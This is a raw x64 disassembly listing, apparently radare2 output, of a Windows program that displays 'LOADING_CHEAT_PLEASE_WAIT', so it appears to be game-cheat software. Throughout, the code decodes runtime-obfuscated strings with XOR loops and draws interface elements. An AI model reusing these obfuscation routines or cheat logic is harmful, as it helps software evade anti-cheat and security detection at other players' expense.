lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400e7f00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400e7f00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x18
jl 0x14004eac0
cmp r8d, 0x1c
jge 0x14004ec14
movsxd rax, r8d
lea r9, [rbp + 0x540]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x35
xor byte [r9 - 1], al
cmp r8d, 0x1c
jl 0x14004ebe0
lea rcx, [rbp + 0x5c0]
movss dword [rbp + 0x5c0], xmm12
movss dword [rbp + 0x5c4], xmm12
movss dword [rbp + 0x5c8], xmm12
movss dword [rbp + 0x5cc], xmm11
call fcn.140003a00
mov rcx, qword [0x1401000f0]
mov r10d, eax
addss xmm9, dword [rbp + 0x190]
addss xmm10, dword [rbp + 0x194]
mov r8, qword [rcx + 0x1a78]
test eax, 0xff000000
je 0x14004ed09
lea rdx, [rbp + 0x540]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rdx + rax], 0
jne 0x14004ec80
lea r9, [rbp + 0x540]
add r9, rax
lea rax, [rbp + 0x540]
cmp rax, r9
je 0x14004ed09
test r8, r8
jne 0x14004ecac
mov rax, qword [rbx + 0x38]
mov r8, qword [rax + 8]
movups xmm0, xmmword [rbx + 0x88]
lea rax, [rbp + 0x540]
mov byte [rsp + 0x48], 0
movss xmm2, dword [rbp + 0xf8]
mov rdx, rbx
movss dword [rsp + 0x40], xmm12
mov rcx, r8
mov qword [rsp + 0x38], r9
mov qword [rsp + 0x30], rax
lea rax, [rbp - 0x80]
movups xmmword [rbp - 0x80], xmm0
mov qword [rsp + 0x28], rax
movaps xmm0, xmm9
mov dword [rsp + 0x20], r10d
unpcklps xmm0, xmm10
movq r9, xmm0
call fcn.140033c30
mov rcx, qword [0x1401000f0]
mov rax, qword [rcx + 0x1d18]
lea r8, [rbp + 0x208]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
lea rcx, [rbp + 0x58]
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm0, dword [rbp + 0x198]
addss xmm2, dword [rbp + 0x19c]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x130]
movss xmm0, dword [rax + 0x134]
maxss xmm1, dword [rax + 0x118]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
mov eax, dword [str.pnl9]
mov rdx, qword [0x1401001d8]
mov dword [rbp + 0x58], eax
movzx eax, byte [reloc.WS2_32.dll_gethostname]
xor byte [rbp + 0x59], 0x36
xor al, 0x39
xor byte [rbp + 0x5a], 0x37
xor byte [rbp + 0x5b], 0x38
mov byte [rbp + 0x5c], al
mov dword [rbp + 0x208], 0x41a00000
mov dword [rbp + 0x20c], 0x41a00000
mov byte [rbp + 0x58], 0x45
call fcn.14004ad30
test al, al
je 0x14004eddf
mov byte [reloc.WS2_32.dll_accept], 0
movzx eax, byte [0x1401000ec]
test al, al
je 0x14004f522
cmp byte [0x1401000eb], 0
mov rbx, qword [0x1401000f0]
mov rax, qword [rbx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rbx + 0x1d18]
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
subss xmm0, xmm11
addss xmm2, xmm12
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x130]
movss xmm0, dword [rax + 0x134]
maxss xmm1, dword [rax + 0x118]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
jne 0x14004f171
cmp byte [0x1400e7991], 0
movsd xmm0, qword [0x1400e7988]
movzx eax, word [0x1400e7990]
movsd qword [rbp - 0x60], xmm0
mov word [rbp - 0x58], ax
mov qword [rbp + 0x210], 0
je 0x14004eecb
xor byte [rbp - 0x5f], 0x36
xor byte [rbp - 0x5e], 0x37
xor byte [rbp - 0x5d], 0x38
xor byte [rbp - 0x5c], 0x39
xor byte [rbp - 0x5b], 0x3a
xor byte [rbp - 0x5a], 0x3b
xor byte [rbp - 0x59], 0x3c
xor byte [rbp - 0x58], 0x3d
xor byte [rbp - 0x57], 0x3e
mov byte [rbp - 0x60], reloc.WLDAP32.dll_Ordinal_35
mov rax, qword [rbx + 0x1d18]
lea rcx, [rbp - 0x60]
xor edx, edx
mov byte [rax + 0xd1], 1
mov r8, qword [rbx + 0x1d18]
movsxd rax, dword [r8 + 0x108]
mov r8, qword [r8 + 0x110]
mov r8d, dword [r8 + rax*4 - 4]
call fcn.140003530
cmp dword [rbx + 0x1d6c], eax
jne 0x14004ef0c
mov dword [rbx + 0x1d70], eax
cmp dword [rbx + 0x1da8], eax
jne 0x14004ef1b
mov byte [rbx + 0x1dac], 1
lea r8, [rbp + 0x210]
mov dword [rsp + 0x20], edi
mov edx, eax
lea rcx, [rbp - 0x60]
call fcn.14000b120
mov rcx, qword [0x1401000f0]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
lea rcx, [rbp + 0x5d0]
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm0, xmm15
addss xmm2, dword [rbp + 0x1a0]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x130]
movss xmm0, dword [rax + 0x134]
maxss xmm1, dword [rax + 0x118]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
movups xmmword [rbp + 0x5d0], xmm11
call fcn.140003a00
cmp byte [reloc.WLDAP32.dll_Ordinal_60], 0
mov dword [rbp + 0xc0], eax
mov rax, qword [str.FFVW_I_]
mov qword [rbp - 0x80], rax
je 0x14004f135
cmp r13d, 2
jl 0x14004f0fa
movdqa xmm2, xmmword [0x1400e7eb0]
mov eax, 5
movdqa xmm3, xmmword [0x1400e7ec0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1400e8000]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm6, eax
mov eax, Ordinal_33
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
movd xmm5, eax
mov eax, dword [str.5555555555555555]
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400e7ed0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400e7f00]
movd xmm1, dword [rbp - 0x80]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movdqa xmm0, xmm3
xorps xmm2, xmm1
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd dword [rbp - 0x80], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400e7ed0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400e7f00]
movd xmm1, dword [rbp - 0x7c]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp - 0x7c], xmm2
jmp 0x14004f135
lea r9, [rbp - 0x80]
mov r8d, edi
mov eax, 0x8d3dcb09
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x35
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x14004f101
movss xmm1, dword [rbp + 0xfc]
lea r9, [rbp + 0xc0]
lea rcx, [rbp - 0x80]
call fcn.14004a9f0
call fcn.14000b3c0
movss xmm0, dword [0x140100178]
comiss xmm0, xmm11
jbe 0x14004f51b
xor al, al
mov byte [0x1401000ec], al
jmp 0x14004f522
cmp byte [0x1400e7991], 0
movsd xmm0, qword [0x1400e7988]
movzx eax, word [0x1400e7990]
movsd qword [rbp - 0x70], xmm0
mov word [rbp - 0x68], ax
mov qword [rbp + 0x218], 0
je 0x14004f1c5
xor byte [rbp - 0x6f], 0x36
xor byte [rbp - 0x6e], 0x37
xor byte [rbp - 0x6d], 0x38
xor byte [rbp - 0x6c], 0x39
xor byte [rbp - 0x6b], 0x3a
xor byte [rbp - 0x6a], 0x3b
xor byte [rbp - 0x69], 0x3c
xor byte [rbp - 0x68], 0x3d
xor byte [rbp - 0x67], 0x3e
mov byte [rbp - 0x70], reloc.WLDAP32.dll_Ordinal_35
mov rax, qword [rbx + 0x1d18]
lea rcx, [rbp - 0x70]
xor edx, edx
mov byte [rax + 0xd1], 1
mov r8, qword [rbx + 0x1d18]
movsxd rax, dword [r8 + 0x108]
mov r8, qword [r8 + 0x110]
mov r8d, dword [r8 + rax*4 - 4]
call fcn.140003530
cmp dword [rbx + 0x1d6c], eax
jne 0x14004f206
mov dword [rbx + 0x1d70], eax
cmp dword [rbx + 0x1da8], eax
jne 0x14004f215
mov byte [rbx + 0x1dac], 1
lea r8, [rbp + 0x218]
mov dword [rsp + 0x20], edi
mov edx, eax
lea rcx, [rbp - 0x70]
call fcn.14000b120
mov rcx, qword [0x1401000f0]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
lea rcx, [rbp + 0x5e0]
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm0, xmm15
addss xmm2, dword [rbp + 0x1a4]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x130]
movss xmm0, dword [rax + 0x134]
maxss xmm1, dword [rax + 0x118]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
movups xmmword [rbp + 0x5e0], xmm11
call fcn.140003a00
cmp byte [reloc.WLDAP32.dll_Ordinal_60], 0
mov dword [rbp + 0xc0], eax
mov rax, qword [str.FFVW_I_]
mov qword [rbp + 0xd0], rax
je 0x14004f444
cmp r13d, 2
jl 0x14004f403
movdqa xmm2, xmmword [0x1400e7eb0]
mov eax, 5
movdqa xmm3, xmmword [0x1400e7ec0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1400e8000]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm6, eax
mov eax, Ordinal_33
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
movd xmm5, eax
mov eax, dword [str.5555555555555555]
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400e7ed0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400e7f00]
movd xmm1, dword [rbp + 0xd0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movdqa xmm0, xmm3
xorps xmm2, xmm1
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd dword [rbp + 0xd0], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400e7ed0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400e7f00]
movd xmm1, dword [rbp + 0xd4]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0xd4], xmm2
jmp 0x14004f444
lea r9, [rbp + 0xd0]
mov r8d, edi
nop dword [rax]
mov eax, 0x8d3dcb09
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x35
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x14004f410
movss xmm1, dword [rbp + 0xfc]
lea r9, [rbp + 0xc0]
lea rcx, [rbp + 0xd0]
call fcn.14004a9f0
mov rcx, r12
call fcn.140011870
mov rcx, qword [0x1401000f0]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm0, xmm15
addss xmm2, dword [rbp + 0x1a8]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm0, dword [rax + 0x134]
movss xmm1, dword [rax + 0x130]
maxss xmm0, xmm2
maxss xmm1, dword [rax + 0x118]
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
movsd xmm0, qword [rcx + 0x1c88]
lea rcx, str.LOADING_CHEAT_PLEASE_WAIT__c
divsd xmm0, qword [rbp + 0x750]
cvttsd2si eax, xmm0
and eax, 3
movsx edx, byte [rax + rsi + 0xe6f3c]
call fcn.14003a3e0
call fcn.140011910
call fcn.14000b3c0
movzx eax, byte [0x1401000ec]
cmp byte [0x1401000ea], 0
je 0x14004f9bb
mov rbx, qword [0x1401000f0]
lea rdx, [rbp + 0x3d8]
mov qword [rbp + 0x3e4], 0
mov qword [rbp + 0x3dc], 0
mov dword [rbp + 0x3d8], edi
movups xmm0, xmmword [rbx + 0x16fc]
lea rcx, [rbx + 0x1e70]
movups xmmword [rbp + 0x3dc], xmm0
call fcn.140023c00
mov qword [rbx + 0x16fc], 0
mov dword [rbx + 0x1704], edi
mov dword [rbx + 0x1708], 0x3f800000
mov rax, qword [0x1400fa360]
mov rbx, qword [0x1401000f0]
test rax, rax
jne 0x14004f5a7
movaps xmm7, xmm12
jmp 0x14004f60a
movss xmm0, dword [0x1400e7df0]
lea rdx, [rbp + 0x220]
movss xmm3, dword [rbp + 0x1ac]
movss xmm2, dword [rbx + 0x1a80]
mov rcx, qword [rbx + 0x1a78]
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rax
movss dword [rsp + 0x20], xmm0
call fcn.140033810
movss xmm0, dword [rbp + 0x220]
addss xmm0, dword [0x1400e7c74]
cvttss2si eax, xmm0
movd xmm7, eax
cvtdq2ps xmm7, xmm7
movss dword [rbp + 0x220], xmm7
or dword [rbx + 0x1dc0], 2
movaps xmm0, xmm7
movss xmm10, dword [0x1400e7d34]
xor edx, edx
mov rcx, qword [0x1400fa368]
addss xmm0, xmm10
movss dword [rbx + 0x1de4], xmm0
mov dword [rbx + 0x1de8], 0x428c0000
mov dword [rbx + 0x1dc8], 1
mov r8, qword [rbx + 0x1d18]
movsxd rax, dword [r8 + 0x108]
mov r8, qword [r8 + 0x110]
mov r8d, dword [r8 + rax*4 - 4]
call fcn.140003530
cmp dword [rbx + 0x1d6c], eax
jne 0x14004f674
mov dword [rbx + 0x1d70], eax
cmp dword [rbx + 0x1da8], eax
jne 0x14004f683
mov byte [rbx + 0x1dac], 1
mov ecx, eax
call fcn.140012d60
call fcn.1400133c0
mov rbx, qword [0x1401000f0]
test al, al
je 0x14004f93f
movaps xmm6, xmmword [0x1400e7fd0]
lea rcx, [rbx + 0x1e70]
mov qword [rbp + 0x45c], 0
lea rdx, [rbp + 0x450]
mov qword [rbp + 0x454], 0
mov dword [rbp + 0x450], edi
movups xmm0, xmmword [rbx + 0x16fc]
movups xmmword [rbp + 0x454], xmm0
call fcn.140023c00
mov rcx, qword [0x1401000f0]
mov rdx, qword [0x1400fa360]
movups xmmword [rbx + 0x16fc], xmm6
mov r8, rdx
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
lea rcx, [rbp - 0x18]
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm0, dword [0x1400e7ce8]
addss xmm2, dword [0x1400e7d18]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x130]
movss xmm0, dword [rax + 0x134]
maxss xmm1, dword [rax + 0x118]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
mov eax, dword [0x1400e7bd4]
mov dword [rbp - 0x18], eax
movzx eax, word [0x1400e7bd8]
xor byte [rbp - 0x17], 0x36
xor byte [rbp - 0x16], 0x37
xor byte [rbp - 0x15], 0x38
mov word [rbp - 0x14], ax
xor al, 0x39
xor byte [rbp - 0x13], 0x3a
mov byte [rbp - 0x14], al
mov byte [rbp - 0x18], reloc.WLDAP32.dll_Ordinal_35
call fcn.14003a5a0
mov rbx, qword [0x1401000f0]
movaps xmm6, xmmword [0x1400e7f50]
mov rcx, qword [rbx + 0x1e78]
movsxd rax, dword [rbx + 0x1e70]
lea rdx, [rax + rax*4]
movsxd rax, dword [rcx + rdx*4 - 0x14]
movups xmm0, xmmword [rcx + rdx*4 - 0x10]
add rax, rax
lea rdx, [rbp + 0x438]
lea rcx, [rbx + 0x1e70]
movups xmmword [rbx + rax*8 + 0x16fc], xmm0
dec dword [rbx + 0x1e70]
mov qword [rbp + 0x444], 0
mov qword [rbp + 0x43c], 0
mov dword [rbp + 0x438], edi
movups xmm0, xmmword [rbx + 0x16fc]
movups xmmword [rbp + 0x43c], xmm0
call fcn.140023c00
mov rcx, qword [0x1401000f0]
addss xmm7, dword [0x1400e7ce8]
movups xmmword [rbx + 0x16fc], xmm6
mov rax, qword [rcx + 0x1d18]
addss xmm7, dword [rbp + 0x1b0]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm0, xmm7
addss xmm2, dword [0x1400e7d1c]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x130]
movss xmm0, dword [rax + 0x134]
maxss xmm1, dword [rax + 0x118]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
lea rdx, [rbp + 0x228]
movzx eax, word [0x1400e7ac0]
lea rcx, [rbp + 0x68]
mov word [rbp + 0x68], ax
movzx eax, byte [0x1400e7ac2]
xor byte [rbp + 0x69], 0x36
xor al, 0x37
mov byte [rbp + 0x6a], al
mov dword [rbp + 0x228], 0x41f00000
mov dword [rbp + 0x22c], 0x41c80000
mov byte [rbp + 0x68], reloc.WLDAP32.dll_Ordinal_79
call fcn.14003b2d0
test al, al
je 0x14004f90b
call fcn.140013170
mov byte [0x1401000ea], 0
mov rbx, qword [0x1401000f0]
movsxd rax, dword [rbx + 0x1e70]
mov rcx, qword [rbx + 0x1e78]
lea rdx, [rax + rax*4]
movsxd rax, dword [rcx + rdx*4 - 0x14]
movups xmm0, xmmword [rcx + rdx*4 - 0x10]
add rax, rax
movups xmmword [rbx + rax*8 + 0x16fc], xmm0
dec dword [rbx + 0x1e70]
mov rax, qword [rbx + 0x1d18]
cmp qword [rbx + 0x1f50], rax
jne 0x14004f960
mov qword [rbx + 0x2070], rax
mov dword [rbx + 0x2078], 2
test dword [rax + 0xc], 0x1000000
je 0x14004f970
mov byte [rbx + 0x1ca2], 1
call fcn.140011150
mov r8, qword [0x1401000f0]
mov byte [rbx + 0x1ca2], 0
movsxd rax, dword [r8 + 0x1e70]
mov rcx, qword [r8 + 0x1e78]
lea rdx, [rax + rax*4]
movsxd rax, dword [rcx + rdx*4 - 0x14]
movups xmm0, xmmword [rcx + rdx*4 - 0x10]
add rax, rax
movups xmmword [r8 + rax*8 + 0x16fc], xmm0
dec dword [r8 + 0x1e70]
movzx eax, byte [0x1401000ec]
jmp 0x14004f9cb
mov r8, qword [0x1401000f0]
movss xmm10, dword [0x1400e7d34]
mov ecx, dword [0x140100174]
test ecx, ecx
jne 0x140051a37
test al, al
jne 0x140056010
mov rax, qword [r8 + 0x1d18]
lea r9, [rbp + 0x230]
lea rdx, [rbp + 0x240]
mov byte [rax + 0xd1], 1
mov rax, qword [r8 + 0x1d18]
lea r8, [rbp + 0x238]
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm0, xmm12
addss xmm2, xmm14
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x130]
movss xmm0, dword [rax + 0x134]
maxss xmm1, dword [rax + 0x118]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm1
movaps xmm1, xmmword [0x1400e7fd0]
movss dword [rax + 0x134], xmm0
lea rax, [rbp + 0x980]
mov rcx, qword [0x1401001e0]
xorps xmm0, xmm0
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x970]
mov qword [rsp + 0x20], rax
movups xmmword [rbp + 0x980], xmm0
mov dword [rbp + 0x230], 0x3f800000
movups xmmword [rbp + 0x970], xmm1
mov dword [rbp + 0x234], 0x3f800000
mov qword [rbp + 0x238], 0
mov dword [rbp + 0x240], 0x43a00000
mov dword [rbp + 0x244], 0x43c88000
call fcn.14003c9c0
mov rcx, r12
call fcn.140011870
mov rcx, qword [0x1401000f0]
mov r8d, edi
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x50]
movss xmm2, dword [rax + 0x54]
subss xmm0, dword [rax + 0x9c]
subss xmm2, dword [rax + 0xa0]
addss xmm0, xmm13
addss xmm2, dword [0x1400e7d38]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm0, dword [rax + 0x134]
movss xmm1, dword [rax + 0x130]
maxss xmm0, xmm2
maxss xmm1, dword [rax + 0x118]
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
mov eax, dword [0x1400e7960]
mov dword [rbp + 0x688], eax
movzx eax, word [0x1400e7964]
mov word [rbp + 0x68c], ax
movzx eax, byte [0x1400e7966]
mov byte [rbp + 0x68e], al
movups xmm0, xmmword [0x1400e7950]
movups xmmword [rbp + 0x678], xmm0
cmp r13d, 2
jl 0x14004fcfd
movdqa xmm0, xmmword [str.5555555555555555]
lea rcx, [rbp + 0x67c]
movdqa xmm5, xmmword [0x1400e7eb0]
mov eax, 5
movdqa xmm4, xmmword [0x1400e8000]
movdqa xmm7, xmmword [0x1400e7ed0]
movdqa xmmword [rbp - 0x80], xmm0
mov edx, dword [rbp - 0x80]
movd xmm6, eax
mov eax, Ordinal_33
movd xmm8, eax
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400e7f00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400e7f00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x14004fbf0
cmp r8d, 0x17
jge 0x14004fd44
movsxd rax, r8d
lea r9, [rbp + 0x678]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x35
xor byte [r9 - 1], al
cmp r8d, 0x17
jl 0x14004fd10
lea rcx, [rbp + 0x678]
call fcn.14003a3e0
call fcn.140011910
mov rcx, qword [0x1401000f0]
lea rdx, [rbp + 0x48]
mov dword [rbp + 0x5f0], 0x3ebebebf
mov dword [rbp + 0x5f4], 0x3ebebebf
mov dword [rbp + 0x5f8], 0x3ed4d4d6
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
lea rcx, [rbp - 0x80]
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm0, xmm13
addss xmm2, dword [0x1400e7d54]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm0, dword [rax + 0x134]
movss xmm1, dword [rax + 0x130]
maxss xmm0, xmm2
maxss xmm1, dword [rax + 0x118]
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
movsd xmm0, qword [str._erjwvy]
movzx eax, byte [0x1400e7860]
movsd qword [rbp + 0x48], xmm0
xor al, 0x3d
movups xmm0, xmmword [rbp + 0x5f0]
xor byte [rbp + 0x49], 0x36
xor byte [rbp + 0x4a], 0x37
xor byte [rbp + 0x4b], 0x38
xor byte [rbp + 0x4c], 0x39
xor byte [rbp + 0x4d], 0x3a
xor byte [rbp + 0x4e], 0x3b
xor byte [rbp + 0x4f], 0x3c
shufps xmm0, xmm0, 0x93
movss xmm0, xmm11
mov byte [rbp + 0x48], 0x55
shufps xmm0, xmm0, 0x39
movups xmmword [rbp + 0x5f0], xmm0
mov byte [rbp + 0x50], al
movups xmmword [rbp - 0x80], xmm0
call fcn.14003a4e0
mov rbx, qword [0x1401000f0]
lea rdx, [rbp + 0x7a4]
mov dword [rbp + 0x7a4], ntohl
movss xmm0, dword [rbx + 0x167c]
lea rcx, [rbx + 0x1e80]
